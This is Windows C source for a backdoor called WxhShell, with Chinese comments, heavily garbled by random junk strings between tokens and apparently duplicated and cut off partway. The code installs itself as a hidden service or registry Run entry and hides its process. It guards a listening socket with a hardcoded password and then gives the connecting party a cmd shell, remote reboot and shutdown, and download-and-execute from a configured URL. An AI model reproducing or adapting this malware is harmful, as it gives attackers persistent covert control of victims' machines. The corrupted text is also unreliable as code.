P<% i4.s_@2Y static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H{x}gBQ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [?BmW{*u. YtNoYOB HANDLE hProcess; Y#c11q Z PROCESS_BASIC_INFORMATION pbi; Q=yQEh|Y k6~k HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -9{}rE if(NULL == hInst ) return 0; yov:JnWo {"e/3 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sm}v0V.Js g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1+o >#8D NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5/mW:G,& C%v@u$N if (!NtQueryInformationProcess) return 0; )F<<M+q= b]mRn{r? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1,W%t\D if(!hProcess) return 0; (@M=W.M# T}2a~ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h
GS";g[? mCtuyGY CloseHandle(hProcess); ~sAINV>A @P"q`* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S'Q$N-Dy if(hProcess==NULL) return 0; `R8~H7{I6 ~SZ0Yu:X HMODULE hMod; YFLWkdqAY char procName[255]; N{P (ym2yR unsigned long cbNeeded; .gT@_.ZD9 {C*mn !u if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,y2ur 2 U*k$pp6\b~ CloseHandle(hProcess); 4ej$)AdW3 VQ<Z`5eV if(strstr(procName,"services")) return 1; // 以服务启动 NEZF q? jzEimKDE's return 0; // 注册表启动 jRB:o?S } 9A3Q&@, ;'tsdsu} // 主模块 x`%;Q@G int StartWxhshell(LPSTR lpCmdLine) >6ch[W5k@ { wGISb\rr SOCKET wsl; :!tQqy2 BOOL val=TRUE; gNs@Q! int port=0; :n'QNGj struct sockaddr_in door; ":"M/v%F Rl3KE)< if(wscfg.ws_autoins) Install(); G!OD7: 9S6vU7W port=atoi(lpCmdLine); <`|}bt F6Q #{Ufq if(port<=0) port=wscfg.ws_port; }tv- c!Pi) WSADATA data; qI;k2sQR if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1 ,D2][ C _[jQTr if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z0g]nYN% setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >PySd"u door.sin_family = AF_INET; A2rr> door.sin_addr.s_addr = inet_addr("127.0.0.1"); {,s:vPoiA door.sin_port = htons(port); W11_MTIU fU)hn if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ju+@ROZ closesocket(wsl); 7Zu!s]t return 1; ~~5kAY- } ]vT {_[l,tdZ if(listen(wsl,2) == INVALID_SOCKET) { L1rov closesocket(wsl); @4$F%[g
h return 1; %WCpn<) } yuI5#
VUS Wxhshell(wsl); Qr0JJoHT WSACleanup(); f+I*aBQ $AsM 9D<BE return 0; wau81rSd 2s6Vy } j*xens$) zo\XuoZ // 以NT服务方式启动 fG,qax`:c VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N(1jm F { t1ZZru'r DWORD status = 0; Rut6m5> DWORD specificError = 0xfffffff; ]L&_R^ uN`ACc)ESi serviceStatus.dwServiceType = SERVICE_WIN32; h{PLyWH serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4El{2cfA serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bJBx~ serviceStatus.dwWin32ExitCode = 0; mLq?-&F serviceStatus.dwServiceSpecificExitCode = 0; Ip2JzE serviceStatus.dwCheckPoint = 0; &F.lo9JJ serviceStatus.dwWaitHint = 0; |}mBW@ah P_ZguNH hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]e"NJkcm if (hServiceStatusHandle==0) return; le[5a=e( `>#X,Lw$g status = GetLastError(); /5J!
s=" if (status!=NO_ERROR) {O^1WgGc[ { ,bH serviceStatus.dwCurrentState = SERVICE_STOPPED; KR522YW serviceStatus.dwCheckPoint = 0; ?tSY=DK\n serviceStatus.dwWaitHint = 0; qmL!"ZRLF serviceStatus.dwWin32ExitCode = status; $x2<D : serviceStatus.dwServiceSpecificExitCode = specificError; |Xu7cCh$me SetServiceStatus(hServiceStatusHandle, &serviceStatus); vMC;5r6*d return; k2;8~LqF } h2BD?y J J3vC serviceStatus.dwCurrentState = SERVICE_RUNNING; [R Ch7FE23 serviceStatus.dwCheckPoint = 0; {_
1q`5o serviceStatus.dwWaitHint = 0; $@#nn5^IX if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _@RW7iP> } A!^,QRkRN ' Uc|[l]
// 处理NT服务事件,比如:启动、停止 CRqa[boU* VOID WINAPI NTServiceHandler(DWORD fdwControl) n1;V2k{uV { S%T1na^x switch(fdwControl) Hv
IN' { i$NnHj| case SERVICE_CONTROL_STOP: tr'95'5W. serviceStatus.dwWin32ExitCode = 0; )1]C%)zn serviceStatus.dwCurrentState = SERVICE_STOPPED; y-Ol1R3:c# serviceStatus.dwCheckPoint = 0; > voUh;L serviceStatus.dwWaitHint = 0; ^#Z(&/5f0 { f~U|flL^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); H R
V/ A } Mz{>vb return; fcBSs\\C~ case SERVICE_CONTROL_PAUSE: @a3<fmJ serviceStatus.dwCurrentState = SERVICE_PAUSED;
)3 v8 break; 9c?izp A case SERVICE_CONTROL_CONTINUE: 0loC^\f serviceStatus.dwCurrentState = SERVICE_RUNNING; 3NJH"amk break; p1D-Q7F case SERVICE_CONTROL_INTERROGATE: XH*^#c break; J7maG|S(DF }; EgO4:8$h SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gs9jX/# } [AGm%o=) m[7a~-3:J // 标准应用程序主函数 fklMYu4:n int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >/n/n{{ { &=UzF )a6i8b3 // 获取操作系统版本 h?O-13v OsIsNt=GetOsVer();
KA< GetModuleFileName(NULL,ExeFile,MAX_PATH); p;H1,E:Re# TRiB|b]8Q# // 从命令行安装 :V"}"{(6 if(strpbrk(lpCmdLine,"iI")) Install(); iVl"H@m/ 1`uIjXr( // 下载执行文件 N" 8o0> if(wscfg.ws_downexe) { 9QYU
J if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1jF}g`At WinExec(wscfg.ws_filenam,SW_HIDE); YA|*$$ } 0O:TKgb&C. 8[Qw8z5- if(!OsIsNt) { V:+}]"yJ, // 如果时win9x,隐藏进程并且设置为注册表启动 0$ (}\hMLt HideProc(); k^L (q\D StartWxhshell(lpCmdLine); R'3i { 1 } HR}c9wy,q\ else 'X?`+2wK
if(StartFromService()) wx1uduT) // 以服务方式启动 ~<eiWDf StartServiceCtrlDispatcher(DispatchTable); 9}\T?6?8pX else UFl*^j_)] // 普通方式启动 J>'o,"D StartWxhshell(lpCmdLine); Fivv#4YO }FK6o
6 return 0; Z4e?zY } V*AG0@&! olJ9Kfc0 7~65 @&P> +j<Nu)0iY =========================================== Rl)/[T `K@
tQ/w\6{ Soa.thP EmH{G fT@#S}t " XI0O^[/n{ o0/03O #include <stdio.h> 6>"0H/y, #include <string.h> 0>'1|8+`(z #include <windows.h> "[8](3\v #include <winsock2.h> *yf+5q4t #include <winsvc.h> 55;xAsG #include <urlmon.h> =DtM.oQ> |%tR#!&[:g #pragma comment (lib, "Ws2_32.lib") @wg*~"d #pragma comment (lib, "urlmon.lib") A>PM'$"sT NLdUe32A #define MAX_USER 100 // 最大客户端连接数 )sL:iGU #define BUF_SOCK 200 // sock buffer WOwIJrP #define KEY_BUFF 255 // 输入 buffer J0>Q+Y uM\~*@ #define REBOOT 0 // 重启 :&a|8Wi[W #define SHUTDOWN 1 // 关机 p#?1l/f"
+EpT)FJX #define DEF_PORT 5000 // 监听端口 sz)3
z 8IX6MfR}C #define REG_LEN 16 // 注册表键长度 ;Y~;G7 #define SVC_LEN 80 // NT服务名长度 D8h~?phK R#r?<Ofw4 // 从dll定义API weu'<C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1
t#Tp$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "ex?
#qD& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r)b`3= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TX*P*-' wRuJein# // wxhshell配置信息 +/Z:L$C6 struct WSCFG { d8x$NW-s int ws_port; // 监听端口 ")LF;e char ws_passstr[REG_LEN]; // 口令 J|I|3h<T int ws_autoins; // 安装标记, 1=yes 0=no {o]OxqE@ char ws_regname[REG_LEN]; // 注册表键名 p%G\5.GcJL char ws_svcname[REG_LEN]; // 服务名 <:ZN char ws_svcdisp[SVC_LEN]; // 服务显示名 ypml22)kz char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]=pEs6%O3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N),Zb^~nw int ws_downexe; // 下载执行标记, 1=yes 0=no `j<'*v
zo char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s{CSU3vYmi char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *|4~
0w x
&\~4,TN }; nVYh1@yLy 8Mp // default Wxhshell configuration !E*-\}[ struct WSCFG wscfg={DEF_PORT, B[Tw0rQ "xuhuanlingzhe", *{tJ3<t(1 1, f[%iRfUFw "Wxhshell", 'Oq}BVR& "Wxhshell", $D45X< "WxhShell Service", fCTjTlh "Wrsky Windows CmdShell Service", ZLO_5#< "Please Input Your Password: ", ?49wq4L;a 1, Y@pa+~[{h3 "http://www.wrsky.com/wxhshell.exe", "#p)Z{v"! "Wxhshell.exe" EKDv3aFQZ# }; |_ ;-~bmb [y:6vC // 消息定义模块
r_o2d 8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #_H=pNWe char *msg_ws_prompt="\n\r? for help\n\r#>"; t=U[ ;? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2
OGg`1XX char *msg_ws_ext="\n\rExit."; U"ga0X5 char *msg_ws_end="\n\rQuit."; b9:E0/6
char *msg_ws_boot="\n\rReboot..."; yJgnw6>r2 char *msg_ws_poff="\n\rShutdown..."; v|`)~"~ char *msg_ws_down="\n\rSave to "; m2 OP=z@) !Dun<\ char *msg_ws_err="\n\rErr!"; ukZL char *msg_ws_ok="\n\rOK!"; D@f%&|IZ 8T1`TGSFC char ExeFile[MAX_PATH]; jIEK[vJ` int nUser = 0; 2Ejs{KUj HANDLE handles[MAX_USER]; |_2O:7qe int OsIsNt; kKCkjA:o## n2TvPt\ SERVICE_STATUS serviceStatus; mjH8q&szf SERVICE_STATUS_HANDLE hServiceStatusHandle; ,. E:mm BV7GzJ2([{ // 函数声明 ofN|%g / int Install(void); G*n5`N@>7 int Uninstall(void); E|Z Y2&J`4 int DownloadFile(char *sURL, SOCKET wsh); R*QL6t int Boot(int flag); ZL-@2ZU{1 void HideProc(void); lMlXK4- int GetOsVer(void); \24neD4cM@ int Wxhshell(SOCKET wsl); JP[BSmhAV void TalkWithClient(void *cs); hNP| int CmdShell(SOCKET sock); F-2HE><+ int StartFromService(void); 8;+t.{ int StartWxhshell(LPSTR lpCmdLine); zQ7SiRt7* Y5(`/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Inr ~9hz VOID WINAPI NTServiceHandler( DWORD fdwControl ); `kFxq<?aK >j\zj] -" // 数据结构和表定义 Vrz<DB^-e SERVICE_TABLE_ENTRY DispatchTable[] = 0Wk}d(f { O@Xl_QNxc! {wscfg.ws_svcname, NTServiceMain}, t7n*kiN<q {NULL, NULL} }Z2Y>raA\ }; B< 6*Ktc 377$c;4F // 自我安装 lOYwYMi int Install(void) 2,dGRf { "i9$w\lm char svExeFile[MAX_PATH]; pNE!waR> HKEY key; F4d L{0;j strcpy(svExeFile,ExeFile); .lRO;D a*=\-;HaZ // 如果是win9x系统,修改注册表设为自启动 !sfUrUu if(!OsIsNt) { zYF'XB]4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2D&tDX< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3\6jzD RegCloseKey(key); >b<br if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CJ
KFNa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6`F_js.a RegCloseKey(key); !)
LMn return 0; 1\_4# @') } 'ApWYt } llQDZ}T } RM QlciG else { YdIV_&-W dH?;!sJ // 如果是NT以上系统,安装为系统服务 H@'Y>^z? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C{+~x@
if (schSCManager!=0) T4._S:~ { vhdT"7`U SC_HANDLE schService = CreateService ~(G]-__B< ( ~M,nCG^4 schSCManager, R6CxNPRJ wscfg.ws_svcname, q'{E $V)E wscfg.ws_svcdisp, hA)3Ah* SERVICE_ALL_ACCESS, wGAN"K:e SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P}JA"V& SERVICE_AUTO_START, fs7JA=?: SERVICE_ERROR_NORMAL, ;k!bv|>n svExeFile, jbfMTb4 NULL, I)9;4lix NULL, "X"DTP1b NULL, Z}$.Tm NULL, u6cWLVt NULL 1rT}mm/e; ); ^vJ08gu_W if (schService!=0) )T
3y ,* { A]ciox$AjW CloseServiceHandle(schService); ) Q]kUG#` CloseServiceHandle(schSCManager); NCl$vc;, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _9""3O strcat(svExeFile,wscfg.ws_svcname); cA AJ7? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !9OAMHa*9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i#&]{]}Qv RegCloseKey(key); fHR1kuy return 0; h}rrsVj3 } x-(?^g } xlv:+ CloseServiceHandle(schSCManager); _sJp"4? } 4?1Ac7bE } .KTDQA\ 9e1gjC\ c return 1; Q/-YLf. } l*xA5ObV F2OU[Z,-] // 自我卸载 $l-j(=Md int Uninstall(void) FL"I PX;S { 1 NLawi6 HKEY key; jZe]zdml Nr6YQH*[ if(!OsIsNt) { }DY^a'wJ- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \d]&}`'4{f RegDeleteValue(key,wscfg.ws_regname); SQW A{f RegCloseKey(key); oI/@w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y-7x**I RegDeleteValue(key,wscfg.ws_regname); I&1h/ RegCloseKey(key); %`-NWAXL return 0; >c8zMd } ,N5Rdgzk } GVCyVt[!- } qm@c[b else { ir3iW*5k 2m/1:5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jQ1~B1( if (schSCManager!=0) rL&585 { hRtnO|Z6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DM~Q+C=Yr if (schService!=0) E!C~*l]wJx { q yQPR if(DeleteService(schService)!=0) { W~Eq_J?I CloseServiceHandle(schService); 0JKbp*H CloseServiceHandle(schSCManager); FV! return 0;
o_X"+ s } 3,S5>~R= CloseServiceHandle(schService); m 9.QGX\] } 80c\O-{ CloseServiceHandle(schSCManager); Kc}FMu } J:5%ff~r\ } >=r094< kG@1jMPtQ return 1; j;J4]]R;o } )TVyRY Z1 P=(\3ok // 从指定url下载文件 ?N&"WL^| int DownloadFile(char *sURL, SOCKET wsh) D@7\Fg { gy_n=jhi+ HRESULT hr; &*T57tE char seps[]= "/"; Z:u7`% char *token; rM_8piD char *file; /8Ca8Ju char myURL[MAX_PATH]; |!flR? OU char myFILE[MAX_PATH]; *"q ~z zA\DI]:+ strcpy(myURL,sURL); 'FO^VJ;ha token=strtok(myURL,seps); E.}T.St while(token!=NULL) | t3_E { rF>:pS,`& file=token; 0waQw7
E token=strtok(NULL,seps); ^Me__Y } rP^2MH" MJ4+|riB GetCurrentDirectory(MAX_PATH,myFILE); Ko kmylHu strcat(myFILE, "\\"); pV<18CaJ strcat(myFILE, file); oju4.1 send(wsh,myFILE,strlen(myFILE),0); _u]Wr%D@ send(wsh,"...",3,0); !C&}e8M|eX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SI4M<'fK if(hr==S_OK) FgKDk!ci return 0; B
,e3r else +p>tO\mo return 1; ko=vK%E[ ]M-j_("& } Kw"7M~ bTb|@ // 系统电源模块 3{]csZvW int Boot(int flag) D}&U3?g= { Ro$l/lXl8t HANDLE hToken; "b|qyT* Sl TOKEN_PRIVILEGES tkp;
" q0lh yAW%y if(OsIsNt) { <t.yn\G-w OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EO:i+e]= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ip|~j}
} tkp.PrivilegeCount = 1; !QSL8v@c tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0\k2F,:%4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /!P,o}l7 if(flag==REBOOT) { (w6 024~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }c:s+P+/ return 0; PI)lJ\ } ^R!
qxSj else { nulVQOj| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u?&P6|J& return 0; W{*U#:Jx1 } Cz#0Gh>1 } }[ld=9p( else { x32hO; if(flag==REBOOT) { ?<%GYdus if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @_J~zo return 0; %}J[EV } L 1H!o!* else { V<*PaS.. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9l]+rs+ return 0; bzF>Efza } ;xS@-</: } ^mv F%"g .hzzoLI2 return 1; O&RW[ml*3 } )+OI} RXxi7^ U // win9x进程隐藏模块 iqreIMWz void HideProc(void) jAie[5 { TWZ**S- :k*'MU} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l=GcgxD+"d if ( hKernel != NULL )
W8z4<o[$ { Vzn0; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
U*!q@g_ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ywTt<;
FreeLibrary(hKernel); WK)hj{k } aMe]6cWHV> n?!XNXb return; 8Wqh 8$ } j)xRzImu #.L9/b(
// 获取操作系统版本 (H5nz': int GetOsVer(void) ]Wr2I M { l25_J.e OSVERSIONINFO winfo; .ZQD`SRrI winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ne#FBRu5 GetVersionEx(&winfo); N-Fs-uB if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o@:${>jw return 1; "jV:L else ndg1E;> return 0; fIe';a } E)sC:oO v=5H,4UMA // 客户端句柄模块 -LzkM" int Wxhshell(SOCKET wsl) G5*"P!@6 { QTr)r;Tro SOCKET wsh; J>Pc@,y struct sockaddr_in client; uDD{O~wF, DWORD myID; 6<1
2j7 Q\Wh]=} while(nUser<MAX_USER) yX9 .yq { K|L&mL&8 int nSize=sizeof(client); YYNh|
2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E$SYXe [, if(wsh==INVALID_SOCKET) return 1; # dA9v7 WbJ|]}hJ\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BOt1J_;(rO if(handles[nUser]==0) 4g4[n7 closesocket(wsh); ]31>0yj[Q else )j,Y(V$P nUser++; I]GGmN } i4T=4q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j<NZ4Rf FEY_(70 return 0; Gh%R4)} } tJBj9{ :j2?v(jT_l // 关闭 socket + Vv+<M void CloseIt(SOCKET wsh) izDfpr}s4 { ,J6t
1V closesocket(wsh); @7HHi~1JK nUser--; ZLDO&} ExitThread(0); G&Fe2&5!w } Bnp\G h &?[g8A // 客户端请求句柄 W Og pDs void TalkWithClient(void *cs)
&x?m5%^l { 7D(Eo{ue *82+GY] SOCKET wsh=(SOCKET)cs; gV}c4>v( char pwd[SVC_LEN]; tm1#Lh0 char cmd[KEY_BUFF]; ^'%Q>FVb char chr[1]; z:^(#G{ int i,j; ;
,Nvg6c YsO3( HS while (nUser < MAX_USER) { sU(<L0 hbdB67, if(wscfg.ws_passstr) { LpK? C<?x if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tw,|ZA4XH //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ' !2NSv //ZeroMemory(pwd,KEY_BUFF); j/t)=c i=0; |&"/u7^ while(i<SVC_LEN) { |.KB G%A!yV // 设置超时 qTrM*/m:]L fd_set FdRead; 9!_JV;2 struct timeval TimeOut; ~|G`f\Ln" FD_ZERO(&FdRead); ."Kp6s `k FD_SET(wsh,&FdRead); f
AY(ro9Q( TimeOut.tv_sec=8; b_&:tE--] TimeOut.tv_usec=0; 6&+}Hhe int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uZM%F) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?8qN8rk^+ @;G%7&ps if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5dX /< pwd=chr[0]; I5*<J n if(chr[0]==0xd || chr[0]==0xa) { j#~ S"t pwd=0; e45)t}' break; nx(jYXVT } B)*1[Jf{4 i++; 2:@,~{`#* } ?bH` -mP2}BNM // 如果是非法用户,关闭 socket jR9;<qT/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #<y/m*Ota } 7z_ZD0PxPc p//mVH% send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N1}r%!jk/ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DUSQh+C U;A,W$<9 while(1) { ]UkqPtG; . HN4xL ZeroMemory(cmd,KEY_BUFF); n%;4Fm? Py?e+[cN // 自动支持客户端 telnet标准 HzL~B# j=0; ~ z^49Ys: while(j<KEY_BUFF) { Scug
wSB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XqU0AbQ cmd[j]=chr[0]; '0^lMQMg if(chr[0]==0xa || chr[0]==0xd) { Lf:#koaC cmd[j]=0; od$$g( break; beBv|kI4 } DQ}&J j++; +xAD;A4 } r:PYAb=g 1h|qxYO // 下载文件 WZn"I&Z if(strstr(cmd,"http://")) { *Kpw@4G send(wsh,msg_ws_down,strlen(msg_ws_down),0); L{GlDoFk if(DownloadFile(cmd,wsh)) vT MCZ+^g send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?^J%S, else WL|71?@C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]yQqx* } P)LQ=b}V#; else { R%~~'/2V QkWEVL@uM switch(cmd[0]) { =jA.INin4 W4qnXD1n // 帮助 <pXOE-G5 case '?': { dKP| TRd send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3sRI7g break; EiP N44( } V6+:g=@U-l // 安装 @Z7s3b case 'i': { tk)}4b^\%j if(Install()) _v8u% send(wsh,msg_ws_err,strlen(msg_ws_err),0); C?MKbD=K else @+_pj.D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *>!-t break; Y]
UoV_ } @\:@_}Z`_} // 卸载 *3h_'3yo@ case 'r': { s0CDp"uJY if(Uninstall()) i+Mg[x$. send(wsh,msg_ws_err,strlen(msg_ws_err),0); U6o]7j&6 else /XA*:8~! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &_s^C?x break; ,,1y0s0` } r[^O 7 // 显示 wxhshell 所在路径 !s !el;G case 'p': { DjiI*HLNR char svExeFile[MAX_PATH]; !HtW~8|: strcpy(svExeFile,"\n\r"); /!.]Y8yEH strcat(svExeFile,ExeFile); ![eY%2;< send(wsh,svExeFile,strlen(svExeFile),0); i5_l//] break; eYn/F~5- } Bk@EQdn // 重启 YG5mzP<T case 'b': { Qs?p)3qp send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); naA8RD5/ if(Boot(REBOOT)) pV!WZUfg send(wsh,msg_ws_err,strlen(msg_ws_err),0); \4
+HNy3 else { ^rO!- closesocket(wsh); 0-uVmlk=/ ExitThread(0); jK%Lewq } \@T;/Pj{[ break; l>hvWK[ ?I } _KBa`lhE // 关机 " YOl6n case 'd': { ]r%fAmj send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cxFyN;7 if(Boot(SHUTDOWN)) &m]jYvRc send(wsh,msg_ws_err,strlen(msg_ws_err),0); q0['!G%[" else { _EP~PW#J closesocket(wsh); I47sq z7 ExitThread(0); obv_?i1 } w'y,$gtX/ break; AM#s2.@ } M"msLz // 获取shell OB^j
b8 case 's': { MX+gc$Y
O CmdShell(wsh); a]6dhQ` closesocket(wsh); ^&c &5S} ExitThread(0); Y:Jgr&*,z break; <K>qK]|C } e5"5 U7 // 退出 2^Z"4t4 case 'x': { t1$pl6&, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zyt >(A1 CloseIt(wsh); jfam/LL{V break; E}#&2n8Y } 10GU2a$0"$ // 离开 xJFcW+ case 'q': { RXu`DWN send(wsh,msg_ws_end,strlen(msg_ws_end),0); x cZF_elt7 closesocket(wsh); N|
P?!G-= WSACleanup(); RX^Xtc" exit(1); :2XX~| break; ^i8(/iwdJE } g0IvcA } (B?ZUXM, } C0>L<*C 8.7lc2aX // 提示信息 }KNBqPo4B if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2p58_^l } m,}GP^<1i } m6A\R KJ' k 6i&NG6 return; 1F+JyZK}w } Ht]O:io` R:f ,g2 // shell模块句柄 H7meI9L int CmdShell(SOCKET sock) O3#eQs { x`2du/
C STARTUPINFO si; QHnC(b ZeroMemory(&si,sizeof(si)); ;0uiO. si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VtGZB3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wLvM<p7OX PROCESS_INFORMATION ProcessInfo; T#[#w*w/ char cmdline[]="cmd"; A!}Ps"Z CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [N<rPHT return 0; H6/gRv@ } \Xr*1DI< F6>oGmLy // 自身启动模式 .Sv/0&O int StartFromService(void) GLMpWD`Wo { ,3!4
D^ typedef struct fX>y^s?y { aY6F4,7/B DWORD ExitStatus; _N0N#L4M DWORD PebBaseAddress; zw iS%-F DWORD AffinityMask; \eRct_ DWORD BasePriority; c:
(nlYZ ULONG UniqueProcessId; .8;0O
M ULONG InheritedFromUniqueProcessId; Z'|k M! } PROCESS_BASIC_INFORMATION; uH[:R vC0 Q\btl/? PROCNTQSIP NtQueryInformationProcess; da@W6Ov x i)$<j!L static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n9-WZsc1 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7<Y aw,G $I4Wl:(~} HANDLE hProcess; u1\r:q PROCESS_BASIC_INFORMATION pbi; 5Yww,s QV4FA&f& HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \^jRMIM== if(NULL == hInst ) return 0; 'E\4/0 ! \0&F'V g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oArJ%Y> g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jb-.x_Bf NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~qK/w0=j &
x_
#zN] if (!NtQueryInformationProcess) return 0; tf[)| /M -=ZDfM
